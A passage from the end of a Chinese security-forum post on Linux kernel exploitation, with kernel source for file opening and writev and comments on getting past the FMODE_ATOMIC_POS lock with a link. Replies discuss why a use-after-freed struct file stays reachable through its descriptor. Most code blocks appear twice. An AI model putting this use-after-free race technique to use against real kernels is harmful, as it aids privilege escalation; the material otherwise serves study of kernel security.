    if (S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode))
        f->f_mode |= FMODE_ATOMIC_POS;
//这里可以看到,如果打开的文件是目录(DIR)类型或者是常规(REG)类型的文件,则必定加上一个 FMODE_ATOMIC_POS 标记,因此需要通过建立链接来绕过
    f->f_op = fops_get(inode->i_fop);
    if (WARN_ON(!f->f_op)) {
        error = -ENODEV;
        goto cleanup_all;
    }
//...这里省略了很多代码
cleanup_all:
    if (WARN_ON_ONCE(error > 0))
        error = -EINVAL;
    fops_put(f->f_op);
    if (f->f_mode & FMODE_WRITER) {
        put_write_access(inode);
        __mnt_drop_write(f->f_path.mnt);
    }
cleanup_file:
    path_put(&f->f_path);
    f->f_path.mnt = NULL;
    f->f_path.dentry = NULL;
    f->f_inode = NULL;
    return error;
}
static int do_dentry_open(struct file *f,
                          struct inode *inode,
                          int (*open)(struct inode *, struct file *))
{
    static const struct file_operations empty_fops = {};
    int error;
 
    path_get(&f->f_path);
    f->f_inode = inode;
    f->f_mapping = inode->i_mapping;
    f->f_wb_err = filemap_sample_wb_err(f->f_mapping);
    f->f_sb_err = file_sample_sb_err(f);
 
    if (unlikely(f->f_flags & O_PATH)) {
        f->f_mode = FMODE_PATH | FMODE_OPENED;
        f->f_op = &empty_fops;
        return 0;
    }
 
    if (f->f_mode & FMODE_WRITE && !special_file(inode->i_mode)) {
        error = get_write_access(inode);
        if (unlikely(error))
            goto cleanup_file;
        error = __mnt_want_write(f->f_path.mnt);
        if (unlikely(error)) {
            put_write_access(inode);
            goto cleanup_file;
        }
        f->f_mode |= FMODE_WRITER;
    }
 
    /* POSIX.1-2008/SUSv4 Section XSI 2.9.7 */
    if (S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode))
        f->f_mode |= FMODE_ATOMIC_POS;
//这里可以看到,如果打开的文件是目录(DIR)类型或者是常规(REG)类型的文件,则必定加上一个 FMODE_ATOMIC_POS 标记,因此需要通过建立链接来绕过
    f->f_op = fops_get(inode->i_fop);
    if (WARN_ON(!f->f_op)) {
        error = -ENODEV;
        goto cleanup_all;
    }
//...这里省略了很多代码
cleanup_all:
    if (WARN_ON_ONCE(error > 0))
        error = -EINVAL;
    fops_put(f->f_op);
    if (f->f_mode & FMODE_WRITER) {
        put_write_access(inode);
        __mnt_drop_write(f->f_path.mnt);
    }
cleanup_file:
    path_put(&f->f_path);
    f->f_path.mnt = NULL;
    f->f_path.dentry = NULL;
    f->f_inode = NULL;
    return error;
}
SYSCALL_DEFINE3(writev, unsigned long, fd, const struct iovec __user *, vec,
                unsigned long, vlen)
{
    return do_writev(fd, vec, vlen, 0);
}
SYSCALL_DEFINE3(writev, unsigned long, fd, const struct iovec __user *, vec,
                unsigned long, vlen)
{
    return do_writev(fd, vec, vlen, 0);
}
static ssize_t do_writev(unsigned long fd, const struct iovec __user *vec,
                         unsigned long vlen, rwf_t flags)
{
    struct fd f = fdget_pos(fd);
    ssize_t ret = -EBADF;
 
    if (f.file) {
        loff_t pos, *ppos = file_ppos(f.file);
        if (ppos) {
            pos = *ppos;
            ppos = &pos;
        }
        ret = vfs_writev(f.file, vec, vlen, ppos, flags);
        if (ret >= 0 && ppos)
            f.file->f_pos = pos;
        fdput_pos(f);
    }
 
    if (ret > 0)
        add_wchar(current, ret);
    inc_syscw(current);
    return ret;
}
static ssize_t do_writev(unsigned long fd, const struct iovec __user *vec,
                         unsigned long vlen, rwf_t flags)
{
    struct fd f = fdget_pos(fd);
    ssize_t ret = -EBADF;
 
    if (f.file) {
        loff_t pos, *ppos = file_ppos(f.file);
        if (ppos) {
            pos = *ppos;
            ppos = &pos;
        }
        ret = vfs_writev(f.file, vec, vlen, ppos, flags);
        if (ret >= 0 && ppos)
            f.file->f_pos = pos;
        fdput_pos(f);
    }
 
    if (ret > 0)
        add_wchar(current, ret);
    inc_syscw(current);
    return ret;
}
static inline struct fd fdget_pos(int fd)
{
    return __to_fd(__fdget_pos(fd));
}
static inline struct fd fdget_pos(int fd)
{
    return __to_fd(__fdget_pos(fd));
}
static inline struct fd __to_fd(unsigned long v)
{
    return (struct fd){(struct file *)(v & ~3),v & 3};
}
static inline struct fd __to_fd(unsigned long v)
{
    return (struct fd){(struct file *)(v & ~3),v & 3};
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2024-3-14 10:48 被xi@0ji233编辑 ,原因:
收藏
免费 6
支持
分享
最新回复 (7)
雪    币: 3380
活跃值: (30961)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2024-3-14 09:39
1
雪    币: 15545
活跃值: (16902)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
3
好文!感谢师傅!
2024-3-14 15:59
0
雪    币: 1
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
厉害学习了
2024-3-19 12:41
0
雪    币: 1878
活跃值: (3318)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
5
感谢分享
2024-3-20 16:45
0
雪    币: 223
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
6
您好,trigger()漏洞触发时会导致uaf_fd对应的struct file被释放,那么当子线程执行write_cmd()时uaf_fd对应的struct file应该是获取不到的,也就意味对应文件的inode获取不到吧,那为什么还会被slow_write()对应的inode锁阻塞呢?
求大佬指点下,谢谢!
2024-3-21 21:42
0
雪    币: 10852
活跃值: (5996)
能力值: ( LV15,RANK:533 )
在线值:
发帖
回帖
粉丝
7
肥肥鱼 您好,trigger()漏洞触发时会导致uaf_fd对应的struct file被释放,那么当子线程执行write_cmd()时uaf_fd对应的struct file应该是获取不到的,也就意味对应文 ...
正常的释放文件结构是有比较复杂的流程的,比如说把对于该文件有引用的描述符表全部清除,但是这里它仅仅是把它的文件结构进行了free,并没有清除对应的引用,因此还能访问到这一块内存(即使分配器已经把它标记为被释放),文中处罚的uaf是误把文件结构体当成字符串直接 free 了,对于文件描述符的引用并没有清除,所以文件描述符还能访问到对应的文件。
2024-3-22 11:21
1
雪    币: 223
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
8
xi@0ji233 正常的释放文件结构是有比较复杂的流程的,比如说把对于该文件有引用的描述符表全部清除,但是这里它仅仅是把它的文件结构进行了free,并没有清除对应的引用,因此还能访问到这一块内存(即使分配器已经把它标记 ...
懂了,谢谢大佬
2024-3-22 11:43
0
游客
登录 | 注册 方可回帖
返回
//